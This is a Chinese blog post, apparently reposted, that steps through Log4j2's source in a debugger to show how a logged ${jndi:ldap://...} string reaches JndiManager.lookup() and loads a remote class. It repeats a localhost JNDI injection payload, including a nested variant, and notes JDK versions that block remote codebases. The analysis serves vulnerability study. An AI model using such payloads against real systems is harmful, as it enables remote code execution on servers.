欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

[CVE-2021-45105] Apache Log4j2 漏洞复制和模式详细分析-0x04 模式分析:

最编程 2024-03-13 20:30:15
...
1、前置知识:

从 payload可以看出,这是基于 JNDI (Java命名和目录接口) 的注入漏洞。什么是 JNDI 注入呢?不了解可以前往 => :https://blog.****.net/gental_z/article/details/122303540

知道是 JNDI 注入,那就要注意一下部分 Java JDK 版本对 JNDI 的限制:(博主复现用的 JDK 8u111)
1、JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true,表示禁用自动加载远程类文件。
2、JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项。
3、JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项。


2、JNDI注入流程:

在这里插入图片描述


3、代码审计分析:

采用动态断点调试进行分析

  • 我们先在代码中编写 log.error(),作为日志入口。

在这里插入图片描述

  • 进入error()函数中,我们可以看到在打印日志之前,第一件事情是判断该log日志是否被允许打印。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

通过以上代码分析,知道了在没有配置 log4j2.xml 情况下,默认日志 level 是 ERROR, 如果使用 info(), warn() 打印日志,将无法打印。原因:(level: ERROR = 200, WARN = 300, INFO = 400), INFO 和 WARN 的level 均大于 ERROR 的 level, filter 函数返回 false, 既 isEnabled() 返回 false, 导致无法调用 logMessage(),最终退出日志打印。 如下log4j2.xml配置日志级别为 INFO, 那么 error(), info(), warn() 均可以复现。

在这里插入图片描述

  • 步入 logMessage(), 调用 logMessageSafely(), 注释: “实现编译为30字节的字节码”。 emmm, 不知道有啥用,只要 msg 参数没有发生改变就问题不大,直接跳过继续跟进。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 现在前期验证工作基本完成,logEventFactory 创建打印事件 createEvent(), 把需要日志输出的信息放入其中, 判断该打印事件是否要忽略,否则执行打印事件。

在这里插入图片描述
在这里插入图片描述

  • 到一处关键位置 callAppenders, Appender 简单说就是管道,定义了日志内容的去向(保存位置)。如果 log4j2.xml 没有配置,获取一个默认console, 并把日志事件 event 装载进去。

在这里插入图片描述
在这里插入图片描述

  • 继续跟进,经过一系列的条件过滤终于到了 appender 的处理了,获取配置文件日志输出格式,对其进行编码。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

默认日志格式: %d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n

  • 继续跟进可以看到 toText(), 开始对 日志event 进行序列化处理。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 查看 formatters 数组,可以看到下标为 8 存放的是我们需要打印的信息 (${jndi:ldap://127.0.0.1:6666/Exp})。其余下标存放的都是系统自动根据配置文件打印的额外信息,我们无法通过参数控制,所以直接设置条件断点跳转至 i = 8 进行分析。

在这里插入图片描述

条件断点设置技巧:在这里插入图片描述

  • 继续跟入看到调用了Converter相关的方法,不难看出每个formatter和converter为了拼接日志的每一部分,最终得到真正的日志打印信息字符串。

在这里插入图片描述

  • 跟入MessagePatternConverter.format() 方法,终于到了核心代码的部分, 看看是如何识别 ${jndi:ldap://127.0.0.1:6666/Exp}的。

在这里插入图片描述

通过判断 message 有没有 ${ ,如果存在说明是需要进行变量表达式提取并解析,那我在想如果我的格式是:${jndi:ldap://127.0.0.1:6666/Exp 或者 ${${${${jndi:ldap://127.0.0.1:6666/Exp}}}} 会有用吗?
通过断点调试发现 for 循环次数由 ${ 个数决定的, replace() 就是从 ${} 中层层递归提取出变量:jndi:ldap://127.0.0.1:6666/Exp。也就是说 ${jndi:ldap://127.0.0.1:6666/Exp 格式会执行一次 for 循环,而调用 replace() 由于缺少 },导致无法正常提取出变量,也就无法解析,进而无法远程加载类弹出计算器。 ${${${${jndi:ldap://127.0.0.1:6666/Exp}}}} 格式会执行3次 for 循环,每次调用 replace() 都能通过递归提取出变量,进而远程加载类弹出计算器 (弹 3次)。
在这里插入图片描述

  • 继续步入 replace() 方法,调用 substitute() 方法从 ${jndi:ldap://127.0.0.1:6666/Exp} 中递归出变量表达式,调用 resolveVariable() 方法对变量表达式进行解析。

在这里插入图片描述

在这里插入图片描述

  • 进入 resolveVariable() 方法,可以看到 getVariableResolver() 获取解析器,一共有10种解析器,调用 lookup() 匹配解析器并解析。

在这里插入图片描述
在这里插入图片描述

  • 跟进 lookup.lookup(),最后调用 JndiManager.lookup() 访问 LDAP 服务器,远程加载类弹出计算器。

在这里插入图片描述